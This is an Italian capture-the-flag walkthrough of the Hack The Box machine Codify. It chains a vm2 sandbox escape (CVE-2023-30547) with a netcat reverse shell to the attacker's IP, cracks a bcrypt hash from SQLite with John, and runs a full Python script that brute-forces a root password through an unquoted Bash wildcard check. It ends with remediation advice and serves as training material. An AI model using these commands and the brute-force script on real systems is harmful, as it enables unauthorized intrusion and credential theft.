
Walkthrough per Codify (Linux - Facile). Sfrutta vm2 RCE (CVE-2023-30547), estrazione di hash da database SQLite, cracking Bcrypt con John ed escalation dei privilegi tramite confronto wildcard Bash in `mysql-backup.sh`.
Writeup e walkthrough completo del penetration testing per la macchina Codify su Hack The Box.
| Campo | Valore |
|---|---|
| Nome | Codify |
| Sistema Operativo | Linux |
| Difficoltà | Facile |
| Concetti Chiave | vm2 RCE (CVE-2023-30547), Enumerazione DB SQLite, Cracking Bcrypt, Abuso del Pattern Matching con Wildcard in Bash |
[Nmap Scan: Porte 22, 80, 3000] ➡️ [App Sandbox Node.js (vm2) Rilevata]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell come 'svc']
⬇️
[Enumerazione SQLite: /var/www/contact/tickets.db] ➡️ [Estratto l'Hash Bcrypt di Joshua]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH come 'joshua'] ➡️ [Lettura di user.txt]
⬇️
[Controllo Sudo: /opt/scripts/mysql-backup.sh] ➡️ [Vulnerabilità di Confronto con Wildcard]
⬇️
[Script Python di Bruteforce] ➡️ [Estratta la Password Root di MySQL] ➡️ [su root] ➡️ [Lettura di root.txt]
Scansione rapida delle porte su tutte le 65.535 porte TCP per scoprire i servizi aperti:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
Enumerazione dettagliata sulle porte 22, 80, 3000:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
L'applicazione web in esecuzione sulla porta 3000 utilizza una versione vulnerabile della libreria sandbox Node.js vm2.
Clona il repository pubblico dell'exploit:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
Avvia un listener Netcat locale sulla tua macchina d'attacco:
Bash
ncat -lnvp 4444
Esegui l'exploit contro l'applicazione web vulnerabile:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
Verifica la shell di accesso iniziale:
Bash
whoami
Naviga nella directory web /var/www/contact e ispeziona il database SQLite:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
Estrai l'hash bcrypt di Joshua:
SQL
SELECT password FROM users WHERE username='joshua';
(Premi CTRL + d per uscire)
Cracka l'hash estratto usando John the Ripper e rockyou.txt:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Autenticati via SSH usando le credenziali craccate di Joshua:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
Controlla i comandi sudo consentiti per l'utente joshua:
Bash
sudo -l
Output: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
Ispeziona /opt/scripts/mysql-backup.sh:
Bash
cat /opt/scripts/mysql-backup.sh
Vulnerabilità: Lo script utilizza un confronto di pattern senza virgolette in Bash ([[ $USER_PASS == $DB_PASS* ]]). Ciò consente ai wildcard (*) nell'input utente di eseguire un attacco di brute-force carattere per carattere contro la password reale.
Crea bruteforce.py per estrarre carattere per carattere la password di root:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
Esegui lo script per estrarre la password:
Bash
python3 bruteforce.py
Passa al contesto dell'utente root usando la password estratta:
Bash
su root
cat /root/root.txt
Applica le patch alle librerie Node.js: Discontinua o aggiorna le librerie sandbox vulnerabili come vm2 (CVE-2023-30547).
Rendi sicuro lo scripting Bash: Metti sempre tra virgolette le variabili nelle operazioni di confronto tra stringhe ([[ "$USER_PASS" == "$DB_PASS" ]]) per prevenire il pattern matching involontario e l'iniezione di wildcard negli script privilegiati.